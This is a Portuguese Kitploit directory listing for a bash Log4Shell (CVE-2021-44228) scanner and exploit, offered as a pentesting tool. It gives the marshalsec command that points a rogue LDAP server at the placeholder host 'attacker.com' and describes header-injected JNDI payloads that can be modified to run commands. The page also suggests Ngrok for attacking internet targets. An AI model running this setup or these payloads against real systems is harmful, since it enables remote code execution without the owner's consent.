Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Log4j-Scanner-Exploit — Script em bash que permite identificar a vulnerabilidade Log4j CVE-2021-44228 de forma remota. | Kitploit
Ferramentas/GitHubGitHub/julian911015/log4j-scanner-exploit
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubjulian911015/log4j-scanner-exploit

Log4j-Scanner-Exploit

Script em bash que permite identificar a vulnerabilidade Log4j CVE-2021-44228 de forma remota.

Ver Repositório
258há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Log4Shell-Scanner-Exploit

Script em bash que permite identificar e/ou explorar a vulnerabilidade Log4shell de forma remota. Esta ferramenta realiza diferentes testes usando payloads LDAP e cabeçalhos X-Api-Version, User-Agent e X-Forwarded-For.

Sempre utilizar este script com autorização prévia do proprietário do serviço/aplicativo auditado.

Dependências:

  1. Criaremos um servidor LDAP pré-configurado a partir do Github: https://github.com/mbechler/marshalsec

mvn clean package -DskipTests && Java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar

marshalsec.jndi.LDAPRefServer 'http://attacker.com/#exploit'

  1. Habilitamos um servidor HTTP python3 -m http.server 8080

  2. Ter Java instalado #sudo apt install default-jre

  3. ter Curl instalado #sudo apt-get install curl

Exemplo de uso:

Inserir os seguintes parâmetros:

  • Lista de URLs a escanear
  • Endereço IP do servidor LDAP
  • Porta do servidor LDAP
  • Endereço IP do servidor HTTP
  • Porta do servidor HTTP

#Exemplo de escaneamento de aplicação em rede interna:

  • ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

image

#Exemplo de escaneamento de aplicação na internet:

  • ./Log4Shell_Scanner.sh <Diccionario_URL> <IP_Servidor_LDAP> <Puerto_Servidor_LDAP> <IP_Servidor_HTTP> <Puerto_Servidor_HTTP>

image

Esclarecimentos:

  • O payload utilizado envia um comando "ifconfig" às máquinas identificadas como vulneráveis; este payload está codificado em Base64 e pode ser modificado para realizar a fase de exploração em uma auditoria de pentesting.
  • Se desejar utilizar a ferramenta em serviços da internet, pode-se iniciar um serviço Ngrok que faça um port forwarding para a porta local do Servidor LDAP
  • Sempre utilizar este script com autorização prévia do proprietário do serviço/aplicativo analisado.
Baixar ferramenta